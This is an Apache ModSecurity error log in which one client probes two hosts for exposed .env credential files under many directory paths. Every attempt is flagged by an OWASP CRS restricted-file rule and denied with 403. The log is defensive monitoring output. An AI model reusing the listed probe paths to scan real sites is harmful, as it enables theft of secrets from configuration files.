[Sat Oct 24 21:49:34.341636 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWeQAAACE"]
[Sat Oct 24 21:49:34.341931 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWeQAAACE"]
[Sat Oct 24 21:49:34.342309 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWeQAAACE"]
[Sat Oct 24 21:49:34.352189 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at1gLj8oejtZfsaip1YpMgAAABE"]
[Sat Oct 24 21:49:34.352444 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at1gLj8oejtZfsaip1YpMgAAABE"]
[Sat Oct 24 21:49:34.352787 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at1gLj8oejtZfsaip1YpMgAAABE"]
[Sat Oct 24 21:49:34.411093 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWegAAACE"]
[Sat Oct 24 21:49:34.411344 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWegAAACE"]
[Sat Oct 24 21:49:34.411666 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWegAAACE"]
[Sat Oct 24 21:49:34.485960 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWewAAACE"]
[Sat Oct 24 21:49:34.486218 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWewAAACE"]
[Sat Oct 24 21:49:34.486574 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWewAAACE"]
[Sat Oct 24 21:49:34.487104 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at1gLj8oejtZfsaip1YpMwAAABE"]
[Sat Oct 24 21:49:34.487366 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at1gLj8oejtZfsaip1YpMwAAABE"]
[Sat Oct 24 21:49:34.487731 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "at1gLj8oejtZfsaip1YpMwAAABE"]
[Sat Oct 24 21:49:34.554497 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /htdocs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWfAAAACE"]
[Sat Oct 24 21:49:34.554785 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWfAAAACE"]
[Sat Oct 24 21:49:34.555116 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWfAAAACE"]
[Sat Oct 24 21:49:34.584613 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at1gLj8oejtZfsaip1YpNAAAABE"]
[Sat Oct 24 21:49:34.584862 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at1gLj8oejtZfsaip1YpNAAAABE"]
[Sat Oct 24 21:49:34.585178 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "at1gLj8oejtZfsaip1YpNAAAABE"]
[Sat Oct 24 21:49:34.612682 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWfQAAACE"]
[Sat Oct 24 21:49:34.612908 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWfQAAACE"]
[Sat Oct 24 21:49:34.613227 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWfQAAACE"]
[Sat Oct 24 21:49:34.624436 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at1gLj8oejtZfsaip1YpNQAAABE"]
[Sat Oct 24 21:49:34.624658 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at1gLj8oejtZfsaip1YpNQAAABE"]
[Sat Oct 24 21:49:34.624948 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at1gLj8oejtZfsaip1YpNQAAABE"]
[Sat Oct 24 21:49:34.640773 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWfgAAACE"]
[Sat Oct 24 21:49:34.641003 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWfgAAACE"]
[Sat Oct 24 21:49:34.641351 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWfgAAACE"]
[Sat Oct 24 21:49:34.662045 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /live/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWfwAAACE"]
[Sat Oct 24 21:49:34.662311 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWfwAAACE"]
[Sat Oct 24 21:49:34.662623 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWfwAAACE"]
[Sat Oct 24 21:49:34.705949 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at1gLj8oejtZfsaip1YpNgAAABE"]
[Sat Oct 24 21:49:34.706188 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at1gLj8oejtZfsaip1YpNgAAABE"]
[Sat Oct 24 21:49:34.706345 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWgAAAACE"]
[Sat Oct 24 21:49:34.706500 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWgAAAACE"]
[Sat Oct 24 21:49:34.706525 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at1gLj8oejtZfsaip1YpNgAAABE"]
[Sat Oct 24 21:49:34.706756 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWgAAAACE"]
